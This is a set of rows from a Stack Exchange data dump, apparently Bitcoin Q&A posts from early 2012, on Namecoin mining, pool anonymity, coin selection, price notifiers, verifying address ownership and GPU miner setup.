  <row Id="2515" PostTypeId="1" AcceptedAnswerId="2516" CreationDate="2012-01-10T21:18:34.423" Score="5" ViewCount="6873" Body="&lt;p&gt;In order to mine Bitcoins, one needs to start the bitcoind with &quot;-server&quot; flag and later request from it a getwork to solve. Does the Namecoin client operate in the same way, or is there some specific &quot;namecoind&quot; version one needs to use in order to generate coins? Where can one find the communication protocol for it?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:23:39.457" LastActivityDate="2016-03-31T10:23:39.457" Title="How does one mine Namecoins?" Tags="|mining-pools|namecoin|miner-configuration|getwork|daemon|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2516" PostTypeId="2" ParentId="2515" CreationDate="2012-01-10T21:43:46.503" Score="7" Body="&lt;p&gt;The &lt;code&gt;-gen&lt;/code&gt; flag actually started a CPU miner process in older versions of the Bitcoin client, before CPU mining became obsolete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're probably thinking was more like &lt;code&gt;bitcoind -server&lt;/code&gt; or &lt;code&gt;`bitcoind -server -RPCALLOWIP=192.168.1.* -RPCPORT=8333&lt;/code&gt; which would start a listening Bitcoin server from which a proper miner could obtain getworks. Since namecoind is a direct port of bitcoind with only the DNS-replacement functionality added, the flags are the same. Nothing special or fancy required, just follow any old &quot;how to solo mine&quot; tutorial and replace &lt;code&gt;bitcoind&lt;/code&gt; with &lt;code&gt;namecoind&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-01-10T21:43:46.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2517" PostTypeId="2" ParentId="2514" CreationDate="2012-01-10T21:47:11.490" Score="1" Body="&lt;p&gt;It depends entirely on the pool. Some pools are extraordinarily careful with user credentials, others aren't, and except for the cases where the pool has published their code there isn't usually an easy way to determine which is which.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From an anonymity perspective, the best pools would be those that require only a Bitcoin address, typically entered in the username field of your miner. Since these pools never store email, password or other potentially sensitive or revealing information, they do not have the ability to reveal such information in the event of a breach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is worth noting, however, that even these pools will still have access to the IP address(es) of your miner(s), although they may not actually store such information. If you want maximum anonymity, you should also take steps to anonymize your IP as it appears to the server, such as routing mining communications through TOR or a VPN of some sort.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-01-10T21:47:11.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2518" PostTypeId="2" ParentId="2514" CreationDate="2012-01-10T21:52:47.920" Score="6" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://eligius.st&quot; rel=&quot;nofollow noreferrer&quot;&gt;Eligius&lt;/a&gt;&lt;/strong&gt; is the most anonymous pool I know of, as it doesn't require registration. Quoted from the &lt;a href=&quot;https://en.bitcoin.it/wiki/Eligius&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin wiki&lt;/a&gt;: &quot;To use it, a miner merely needs to be directed to mining.eligius.st on port 8337, with the username set to a valid bitcoin address (which receives the payout). No registration is needed.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pools I'm aware of that have been hacked include &lt;strong&gt;nofeemining.com&lt;/strong&gt; (userids, passwords and emailed were published to the web - the administrator didn't actually notify users of the extent of this. The pool has since closed), &lt;strong&gt;ozco.in&lt;/strong&gt; (this was treated very seriously), and &lt;strong&gt;abcpool.co&lt;/strong&gt; (some balances stolen, but treated seriously). However, if anything, the likelyhood of a being hacked again is probably less than some of other mining websites that haven't yet been compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that most pools require little more than an email address (and you can create an anonymous email address easily enough on various websites), a user can choose to remain reasonably anonymous with minimal effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps the biggest risk to user anonymity is through your IP address - if you provided personal details to an untrustworthy website, say dodgyexample.com, and then mined &quot;anonymously&quot; at a theoretical site dodgymining.com, your IP address could be used to link the accounts details as being owned by the same person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further to the above, the payouts you receive through a pool may be linked back to you through the Bitcoin blockchain, depending on where you spend your bitcoins and whether you have shifted them between wallet addresses before you spend them. This is unlikely though, as you will most likely spend your bitcoins somewhere that the malicious individual cannot link back to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/439/516&quot;&gt;How can one remain relatively anonymous while using Bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-01-10T22:08:51.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2520" PostTypeId="1" AcceptedAnswerId="2521" CreationDate="2012-01-10T23:19:01.200" Score="5" ViewCount="1872" Body="&lt;p&gt;I did an experiment of withdrawing 0.00000001 BTC from MtGox. And this transaction still cannot be seen on &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/&lt;/a&gt; after about an hour.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Concern solved, thank you everybody!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/address/1Mm1YSodmgoDEHEQtQaZLjBW8Nemje3kFw&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/address/1Mm1YSodmgoDEHEQtQaZLjBW8Nemje3kFw&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="675" LastEditDate="2012-01-11T02:46:37.730" LastActivityDate="2012-01-11T02:46:37.730" Title="Has anyone tried transfering 0.00000001 BTC (the currently minimum amount) successfully?" Tags="|mtgox|satoshi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2521" PostTypeId="2" ParentId="2520" CreationDate="2012-01-10T23:31:10.120" Score="6" Body="&lt;p&gt;Yes, I have successfully transferred 0.00000001 BTC (commonly referred to as a Satoshi) before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is possible within the scope of a MtGox withdrawal is another question entirely. MtGox uses a custom client and has a fee structure and other assorted math to contend with that may not allow for such a transfer at present. If your withdrawal has not appeared in Block Explorer you should contact MtGox support as it may reflect more on their modified system than the default behavior of Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-01-10T23:31:10.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2522" PostTypeId="2" ParentId="2507" CreationDate="2012-01-10T23:50:17.770" Score="2" Body="&lt;p&gt;As I understand it, as the size of a block increases above particular thresholds, the transaction fee required to include another transaction in a block goes up. This is by design to prevent bloating of the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would mean that trying to include many small transactions in a short period of time would either result in large transaction fees or delays in transactions being confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though Bitcoin is commonly spoken of as being great for micropayments, I don't believe that's literally true if you consider a micropayment to be in the order of a millionth of a bitcoin (micro meaning a millionth). Maybe it would be better said that it's great for millipayments?&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-01-10T23:50:17.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2525" PostTypeId="2" ParentId="2420" CreationDate="2012-01-11T01:16:39.197" Score="4" Body="&lt;p&gt;It seems you can issue your &lt;code&gt;name_firstupdate&lt;/code&gt; transaction whenever you're ready (in particular, right after doing the &lt;code&gt;name_new&lt;/code&gt;).  It won't be included in a block until the &lt;code&gt;name_new&lt;/code&gt; is mature (12 confirms) but should be picked up shortly after that happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have any source for this other than recent experience, but my names are showing up when I do &lt;code&gt;name_list&lt;/code&gt; so I take it that they are properly registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I thought about it a little, and I suppose you should wait a little bit (at least until your &lt;code&gt;name_new&lt;/code&gt; is included in a block).  The reason being that nobody can know what name you're trying to register until you do &lt;code&gt;name_firstupdate&lt;/code&gt;, and so they can't steal it from you.  Sending both the &lt;code&gt;name_new&lt;/code&gt; and the &lt;code&gt;name_firstupdate&lt;/code&gt; is vulnerable because someone can quickly issue their own &lt;code&gt;name_new&lt;/code&gt; for the same name, and depending on luck (or in the worst-case, their control of a significant hashrate) claim it before you can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone more familiar with the intimate details of how requests for the same name are resolved can comment on whether this scenario is possible or not.&lt;/p&gt;&#xA;" OwnerUserId="898" LastEditorUserId="898" LastEditDate="2012-01-11T01:39:24.063" LastActivityDate="2012-01-11T01:39:24.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2526" PostTypeId="1" AcceptedAnswerId="2588" CreationDate="2012-01-11T02:26:05.663" Score="2" ViewCount="387" Body="&lt;p&gt;There are two formats of &lt;a href=&quot;https://en.bitcoin.it/wiki/Mini_private_key_format&quot; rel=&quot;nofollow&quot;&gt;mini private keys&lt;/a&gt;, one is based on SHA-256, other on PBKDF2. In the instructions for decoding the second one, we read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The iteration count is determined as follows: 2 ^ (n/4) rounded to the nearest integer, where n is the second byte.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the rounding refer to the value of (n/4), or 2 ^ (n/4)? For example, for n=9, we have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;n/4=9/4=2.25&#xA;2^(n/4)=2^(9/4)=4.75682846&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we round the result of the second equation, we get 5, but if we round the result of the first equation, we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2^2=4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is a bit of an inconsistency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where should one apply rounding for calculating the proper PBKDF2-encoded mini private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Moreover, should the division by 4 should be carried out arithmetically (rounding the number to nearest integer, with 0.5 being rounded up), or by a logical shift (the number is rounded down).&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2017-12-23T18:34:28.267" LastActivityDate="2017-12-23T18:34:28.267" Title="Mini private key, PBKDF2 rounding" Tags="|private-key|private-key-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2527" PostTypeId="1" CreationDate="2012-01-11T04:52:41.193" Score="9" ViewCount="756" Body="&lt;p&gt;When creating a bitcoin transaction, you have to choose which coins to use in them. The standard client does this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1077/how-does-the-bitcoin-client-determine-which-coins-transactions-wallet-stored-va&quot;&gt;in a way&lt;/a&gt; to avoid unconfirmed inputs and minimize the number of inputs and amount of change involved. Since &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2496/are-bitcoins-inherently-fungible&quot;&gt;not all coins are created equal&lt;/a&gt;, I may have other preferences (like spend unconfirmed coins first to get rid of them, or not cross inputs between different trading partners). Is there any way I can have more control over the process?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2023-10-31T13:22:18.113" Title="How can I control which coins to spend in a transaction?" Tags="|transactions|privacy|coin-selection|fragmentation|coin-control|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2528" PostTypeId="2" ParentId="2527" CreationDate="2012-01-11T05:52:59.330" Score="3" Body="&lt;p&gt;Currently this is not possible with the standard client, other than making separate wallets. There is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/415&quot; rel=&quot;nofollow&quot;&gt;a patch for coin selection on github&lt;/a&gt;, which was very promising. So this feature may make it into a future version.&lt;/p&gt;&#xA;" OwnerUserId="441" LastEditorUserId="583" LastEditDate="2012-01-13T20:47:19.253" LastActivityDate="2012-01-13T20:47:19.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2529" PostTypeId="2" ParentId="2527" CreationDate="2012-01-11T08:12:46.670" Score="1" Body="&lt;p&gt;Check out &lt;a href=&quot;https://bitcointalk.org/index.php?topic=56424.0&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt;, a new client that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;uses an algorithm for coin selection which can be optimized for&#xA;  anonymity or minimal transaction fees.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-11T08:12:46.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2530" PostTypeId="2" ParentId="806" CreationDate="2012-01-11T10:13:58.817" Score="0" Body="&lt;p&gt;Consider the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=55842.0&quot; rel=&quot;nofollow&quot;&gt;Stratum Overlay Network&lt;/a&gt; (work in progress) to simplify server code - it allows you to transact securely without managing a blockchain.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-11T10:13:58.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2531" PostTypeId="2" ParentId="2496" CreationDate="2012-01-11T10:24:14.007" Score="8" Body="&lt;p&gt;Bitcoins are somewhat fungible, but not completely. It's like a family tree. You can't say &quot;this bitcoin was at location Y 2 years ago&quot; any more than you can say &quot;Person X was 1000 years ago person Y&quot;. But you can say &quot;This Bitcoin can be traced back to this transaction from 2 years ago&quot; just like you can say &quot;Person Y who lived 1000 years ago is an ancestor of person X&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just like a person can have millions of ancestors and descendants, so can a bitcoin trace back or forward to millions of bitcoins. But since some bitcoins can be traced back to a particular transaction/address and some cannot, they are not completely fungible, and different bitcoins may be worth more or less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=9238.0&quot;&gt;Here&lt;/a&gt; is an example of someone offering to pay 2 &quot;ordinary&quot; bitcoins for 1 bitcoin that can be traced back to the historic transaction of buying pizza for 10K BTC.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-01-11T10:24:14.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2532" PostTypeId="1" CreationDate="2012-01-11T12:26:00.463" Score="6" ViewCount="2235" Body="&lt;p&gt;There's a nice C2DM push based notifier for android but I'd like to know if there is one for the desktop environment, ideally linux? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if one exists?&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2014-05-30T20:56:29.597" Title="Is there any desktop notifier application for bitcoin prices?" Tags="|trading|exchange-rate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2533" PostTypeId="2" ParentId="2532" CreationDate="2012-01-11T17:09:58.643" Score="3" Body="&lt;p&gt;If you're looking for a solution which will run on linux, then there's always a the &lt;code&gt;wget&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget -q -O - https://mtgox.com/code/ticker.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can run it in a loop in a terminal :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the xfce desktop environment you could use the &lt;code&gt;genmon&lt;/code&gt; panel plugin and feed it Mt. Gox's last trade data. Speaking of which, I think I'll do that myself. :)&lt;/p&gt;&#xA;" OwnerUserId="441" LastEditorUserId="583" LastEditDate="2012-01-13T21:03:02.570" LastActivityDate="2012-01-13T21:03:02.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2534" PostTypeId="2" ParentId="2532" CreationDate="2012-01-11T18:22:52.420" Score="1" Body="&lt;p&gt;While it's not necessarily a &lt;em&gt;desktop&lt;/em&gt; notifier, there &lt;em&gt;is&lt;/em&gt; a functional web-app notifier recently &lt;a href=&quot;https://bitcointalk.org/index.php?topic=57736.0&quot; rel=&quot;nofollow&quot;&gt;publicized on the forums&lt;/a&gt;: &lt;a href=&quot;http://www.bitcoin-tools.de/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoin-tools.de/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is nothing more than a simple alert-system which alerts you&#xA;  whenever the buy, last or sell is reaching a defined level.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The tool includes audio alerts and user-definable limits.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-01-11T18:22:52.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2535" PostTypeId="1" AcceptedAnswerId="2551" CreationDate="2012-01-11T21:20:11.903" Score="6" ViewCount="4464" Body="&lt;p&gt;I am writing some rants about the use of Bitcoin, and would like to sum it up by naming some spearpoint examples of companies and service providers that use Bitcoin. Either solely or side-by-side with conventional currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the few lists I came across were either hopelessly outdated or simply false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone name me some of the top busters using Bitcoin ? Or maybe some good creative examples of Bitcoin use ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And please not the Alpaca Socks site. I need some fresh examples to shake off a bit of the dust and make the article seem current.&lt;/p&gt;&#xA;" OwnerUserId="770" LastEditorUserId="5406" LastEditDate="2014-05-02T17:46:29.667" LastActivityDate="2014-05-02T17:46:29.667" Title="Largest current merchants accepting Bitcoin?" Tags="|merchants|commerce|" AnswerCount="2" CommentCount="4" ClosedDate="2014-05-02T17:46:59.250" ContentLicense="CC BY-SA 3.0" />
  <row Id="2536" PostTypeId="1" AcceptedAnswerId="2539" CreationDate="2012-01-11T21:36:17.320" Score="4" ViewCount="366" Body="&lt;p&gt;Bitcoiners seem to love to talk about anonymity. But to me, anonymous transactions are far from Bitcoin's greatest strength. And to some, the need for high anonymity is the first sign that someone is &quot;up to no good&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what happens if you need to the opposite? I find myself in a situation where I had listed a bitcoin donation address on my website, but someone was able to deface my website and put another adress in instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, of course this is a special situation, and since I don't know my adress by heart, it went on for a bit before I noticed this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What got my mind buzzing was when I put my real adress back up, and a person asked me &quot;How can I be sure this is really your wallet?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, how can I prove that I am on the other side of the bitcoin address on my public website? Sending screenshots is a bit impractical, and honestly doesn't really tell me much. Is there a way to do some kind of handshake with the recipient or in any way verify the identity of a bitcoin address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is directly against the core principles of anonymity, but a currency will still need trust for commerce to flourish, and I am curious if there is any method one could use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I'm juggling the idea that the user sends a microtransaction with a 6 digit code, and the recipient tells the sender the code when it appears in my wallet. This is inspired by mobile bluetooth trust syncs. But there must be an easier way. I imagine a very high level of ingenuity among the Bitcoin community, any ideas what could solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your idea is based on &quot;theoretical software&quot; (something that could be made, but simply hasn't) I'm willing to hear you out as well.&lt;/p&gt;&#xA;" OwnerUserId="770" LastEditorUserId="583" LastEditDate="2012-01-13T20:47:28.050" LastActivityDate="2012-01-19T06:07:33.993" Title="Anonymity versus trust" Tags="|privacy|commerce|trust|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2537" PostTypeId="1" CreationDate="2012-01-11T22:23:13.267" Score="4" ViewCount="319" Body="&lt;p&gt;Mt. Gox publishes live data which is available at mtgoxlive.com.  The chart includes the current market price as well as a depth chart of existing bid and ask prices, which I assume is compiled from the order book of each account with the exchange.  However, orders are allowed to be placed on Mt. Gox &lt;em&gt;without&lt;/em&gt; having available funds in ones account to actually make a trade.  If the depth chart reflects these unfunded orders, they would make the chart steeper than it should be.  Of course, the depth chart may also not reflect trades which people have the funds and intention to make but haven't yet placed in the order book.  In sum, does the mtgoxlive depth chart reflect unfunded orders, and in any event, how useful, accurate, or predictive is it?&lt;/p&gt;&#xA;" OwnerUserId="904" LastActivityDate="2012-01-12T20:31:16.823" Title="Is the mtgoxlive depth chart information accurate?" Tags="|exchanges|trading|mtgox|live-data|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2538" PostTypeId="2" ParentId="2536" CreationDate="2012-01-11T22:23:35.073" Score="2" Body="&lt;p&gt;To start with, you could try using a vanity generator and getting a custom address that would be harder to forge (the longer the non-random string the better). You can also try memorizing last character of two of your address, just as a safety check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use a &lt;a href=&quot;http://www.qrhacker.com/#&quot; rel=&quot;nofollow&quot;&gt;custom-made QR code&lt;/a&gt; with for example a photo you never folly posted on the Internet. If someone would try messing with that, you have a higher chance of noticing it right away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose in the future one could develop a trusted website for sending Bitcoins to a specific person by using their email instead of Bitcoin address, or providing a third-party service that links a certain Bitcoin address to you. These, however, are not available currently (at least to my knowledge).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-11T22:23:35.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2539" PostTypeId="2" ParentId="2536" CreationDate="2012-01-11T23:10:51.083" Score="6" Body="&lt;p&gt;If you have a secure channel to the recipient or some way to identify communications as coming from the recipient, just have them send their Bitcoin address. If you have no such channel or method, it's obviously impossible. What can you do to prove your address is yours that I can't do to prove my address is yours?&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-11T23:10:51.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2540" PostTypeId="2" ParentId="2536" CreationDate="2012-01-12T00:22:58.733" Score="3" Body="&lt;p&gt;Identity verification on the internet is a difficult problem. One of the relatively common techniques in use is the use of &lt;a href=&quot;http://en.wikipedia.org/wiki/Web_of_trust&quot; rel=&quot;nofollow&quot;&gt;the PGP web of trust&lt;/a&gt;. You create a unique PGP key and have other people sign it, indicating that they have checked your identity. Once you are connected to enough people, it is possible to verify with some degree of certainty that your key indeed belongs to you. If you then post a PGP signed message containing your Bitcoin address, the signature can be verified, and the identity of the key can be checked via the web of trust. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The limitations of this approach are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Most people won't be checking the signature&lt;/li&gt;&#xA;&lt;li&gt;Most people don't use PGP/GPG and thus are not part of the PGP web of trust and therefore will not be able to verify your key identity even if they can check the signature.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;SSL is a common method to verify a website's identity - however if the site is defaced via a hack, that will not help one bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, this is not a problem of anonymity of Bitcoin, but a problem of how to prove your identity in the context of digital communications. Consider, that if you had a PayPal address on your site, the hacker could have changed your PayPal address to one controlled by him, just as well. There's nothing special about bitcoin here.&lt;/p&gt;&#xA;" OwnerUserId="441" LastEditorUserId="441" LastEditDate="2012-01-19T06:07:33.993" LastActivityDate="2012-01-19T06:07:33.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2541" PostTypeId="2" ParentId="2536" CreationDate="2012-01-12T02:57:59.683" Score="2" Body="&lt;p&gt;An alternative is that the person will create a new address only for the donation amount, transfer the amount to it and then send the new address to you. Then is up to you to merge than amount into your real, undisclosed address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way you avoid giving people and address that might be tampered with. Assuming of course that your email is harder to tamper with than your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, this is added complexity for the donor. Maybe this could be implemented on top of bitcoin client (send coins to new address)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; lets take this idea a bit further. Or actually lets take a step back. Let's think in normal cash. Cash comes in several denominations; 10 - 100 - 1000. If you think of it, you can transfer bitcoins not only by a transaction from address to address (which is the way that was envisioned in its inception), but also, transferring by ordinary means (i.e: email) an address with the transaction amount works just as good. Both parts can agree that the transaction is completed after the receiver transfer the amount from the received address into a new address that the sender does not know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that if some higher level library on top of bitcoin would implement transfers between parties not as transactions between two addresses, but as many transfers of addresses with small amounts in each of them, from an old address that is known to both parties to new addresses that are only known to the receiver. I think that in this way, most of the statistical analysis you could do to identify real identities behind might be a lot harder&lt;/p&gt;&#xA;" OwnerUserId="863" LastEditorUserId="863" LastEditDate="2012-01-13T23:29:57.480" LastActivityDate="2012-01-13T23:29:57.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2542" PostTypeId="2" ParentId="2496" CreationDate="2012-01-12T07:27:54.607" Score="2" Body="&lt;p&gt;If you are asking if Bitcoins can be traced, then answer is no.  If you're asking if public keys can be traced, then the answer is yes.&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2012-01-12T07:27:54.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2545" PostTypeId="2" ParentId="2481" CreationDate="2012-01-12T09:03:03.297" Score="3" Body="&lt;p&gt;There's also &lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot; rel=&quot;nofollow&quot;&gt;Clark Moody's Charts&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="843" LastActivityDate="2012-01-12T09:03:03.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2546" PostTypeId="1" AcceptedAnswerId="2550" CreationDate="2012-01-12T09:26:33.283" Score="1" ViewCount="703" Body="&lt;p&gt;I've built a mining rig running Ubuntu 11.10 with 3 Radeon 6850 GPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run &lt;code&gt;./poclbm.py&lt;/code&gt; without any arguments, it returns the list of available devices as...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0] Barts&#xA;[1] Barts&#xA;[2] Barts&#xA;[3] AMD Sempron(tm) 145 Processor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;giving me the (possibly erroneous) idea that I seem to have the drivers setup correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start up one miner and pass the argument to use device 0, the hash rate is reported at slightly over 200 Mhash/sec. However, when I start up another pointed at device 1 in a separate term window, the hash rate for &lt;em&gt;both&lt;/em&gt; is reported at around 100 Mhash/sec. And when I fire up the third miner and point it at device 2, then all three miners report their rate at around 60-70 Mhash/sec.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This suggests to me that the miners are not honoring the device argument that I'm passing and all dogpiling on one of the devices (probably the freckle faced red-headed one). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens with both m0mchil's poclbm and with PhoenixMiner.  Below are the arugments I'm passing to each...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./poclbm.py http://username.worker:pw@host.com:port -d 1 -v&#xA;&#xA;./phoenix.py -u http://username.worker:pw@host.com:port -k phatk2 DEVICE=2 VECTORS BFI_INT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I might be doing, or have done, wrong?&lt;/p&gt;&#xA;" OwnerUserId="843" LastEditorUserId="5406" LastEditDate="2016-03-25T11:40:38.700" LastActivityDate="2016-03-25T11:40:38.700" Title="Miners dogpiling on one device" Tags="|ubuntu|gpu|miner-configuration|poclbm|phoenix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2547" PostTypeId="1" AcceptedAnswerId="2555" CreationDate="2012-01-12T11:22:03.497" Score="3" ViewCount="355" Body="&lt;p&gt;How does the btc.to address shortening algorithm work? Is is a deterministic algorithm, that is, it can be reproduced on other websites with the same results, or are the results specific to the website and the order in which the addresses were inputted?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2017-12-23T18:31:03.713" LastActivityDate="2017-12-23T18:31:03.713" Title="What is the btc.to address shortening algorithm?" Tags="|address|websites|address-format|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2549" PostTypeId="1" AcceptedAnswerId="2611" CreationDate="2012-01-12T13:21:38.377" Score="3" ViewCount="1173" Body="&lt;p&gt;Sendfrom en senttoaddress both have [comment] and [comment-to] as arguments. Comment uses the script to put in a message, thus in a semi-standardized manner. Does comment-to encrypt the message with that public key? I'm kind of guessing in the dark without any explanation. (I'd suggest the tags API, RPC or JSON-RPC but I've no reputation)&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2015-03-03T03:53:31.050" Title="Comment-to in the API" Tags="|transactions|bitcoind|services|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
